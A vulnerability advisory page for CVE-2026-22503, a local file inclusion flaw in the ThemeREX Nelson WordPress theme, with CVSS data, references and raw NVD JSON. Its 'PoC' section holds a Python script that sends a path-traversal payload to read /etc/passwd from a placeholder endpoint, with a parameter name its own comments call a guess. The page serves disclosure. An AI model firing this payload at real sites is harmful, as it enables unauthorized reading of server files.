CVE-2026-22503

Description

Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') vulnerability in ThemeREX Nelson nelson allows PHP Local File Inclusion.This issue affects Nelson: from n/a through <= 1.2.0.

CVSS Details

CVSS Score

8.1

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

ThemeREX Nelson <= 1.2.0

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests

def check_lfi(target_url):
    # Common LFI payload path traversal
    # Note: The specific vulnerable parameter name needs to be verified against the source code or specific advisory.
    # Assuming 'file' as a placeholder parameter.
    payload = "?file=../../../../../../../etc/passwd"
    
    try:
        response = requests.get(target_url + payload, timeout=10)
        if "root:" in response.text:
            print("[+] Potential LFI vulnerability detected!")
            print(response.text[:200])
        else:
            print("[-] Target does not appear vulnerable or payload incorrect.")
    except requests.RequestException as e:
        print(f"Error connecting to target: {e}")

if __name__ == "__main__":
    target = "http://example.com/wp-content/themes/nelson/vulnerable_endpoint.php"
    check_lfi(target)

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-22503
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-22503
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-22503/
[4] VulDB https://vuldb.com/cve/CVE-2026-22503
[5] https://patchstack.com/database/Wordpress/Theme/nelson/vulnerability/wordpress-nelson-theme-1-2-0-local-file-inclusion-vulnerability?_s_id=cve

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-22503", "sourceIdentifier": "[email protected]", "published": "2026-03-25T17:16:32.333", "lastModified": "2026-04-24T16:32:53.997", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') vulnerability in ThemeREX Nelson nelson allows PHP Local File Inclusion.This issue affects Nelson: from n/a through <= 1.2.0."}, {"lang": "es", "value": "Control inadecuado del nombre de fichero para la declaración Include/Require en el programa PHP (vulnerabilidad de 'inclusión remota de ficheros PHP') en ThemeREX Nelson nelson permite la inclusión local de ficheros PHP. Este problema afecta a Nelson: desde n/a hasta <= 1.2.0."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.2, "impactScore": 5.9}, {"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.2, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-98"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Theme/nelson/vulnerability/wordpress-nelson-theme-1-2-0-local-file-inclusion-vulnerability?_s_id=cve", "source": "[email protected]"}]}}